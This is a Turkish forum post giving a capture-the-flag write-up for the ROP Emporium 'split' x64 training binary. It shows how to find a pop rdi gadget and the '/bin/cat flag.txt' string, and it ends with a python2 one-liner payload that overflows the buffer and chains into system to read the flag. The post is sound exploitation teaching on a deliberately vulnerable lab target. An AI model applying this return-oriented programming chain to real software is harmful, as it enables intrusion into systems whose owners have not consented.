ROP Emporium split (x64) Writeup

ROP Emporium split (64bit) Writeup​

detail


x64 mimaride programımızı indirdikten sonra programımız hakkında bilgi edinelim

checksec


main_pwnme


usefulFunc


Sistemde main , pwnme ve usefulFunction isimli 3 tane fonksiyonumuz mevcut.

Bunun dışında programımızın içerisinde “/bin/cat flag.txt” komutunu çalıştırmamıza yardımcı olmak için bir symbol bulunmaktadır.

readelf --symbols split | grep "useful"

usefulString


O halde x64 mimaride ilk argumanı alan rdi registerı üzerine /bin/cat flag.txt yazısını içeren usefulString adresimizi yazdıktan sonra system çağrısını çağırarak komutumuzun çalışmasını sağlayacağız. Bunun için öncelikle pop rdi komutunu içeren bir gadget’a ihtiyacımız var. GDB üzerinde herhangi bir yere breakpoint koyup çalıştırdıktan sonra ropsearch komutu ile arayalım.

pop_rdi


Tam da istediğimiz gibi :) O halde bellek adresini doldurduktan sonra gadget adresimizi, daha sonra usefulString adresini yazacağız. Böylece komutumuz rdi üzerine yerleşecektir. Daha sonra system adresini girerek bu komutun çalışmasını sağlayacağız.


python2 -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\xe0\x05\x40\x00\x00\x00\x00\x00'" | ./split


flag


Ve flag dosyasını başarılı bir şekilde okumuş olduk…
 
  • Like
Tepkiler: sef
Üst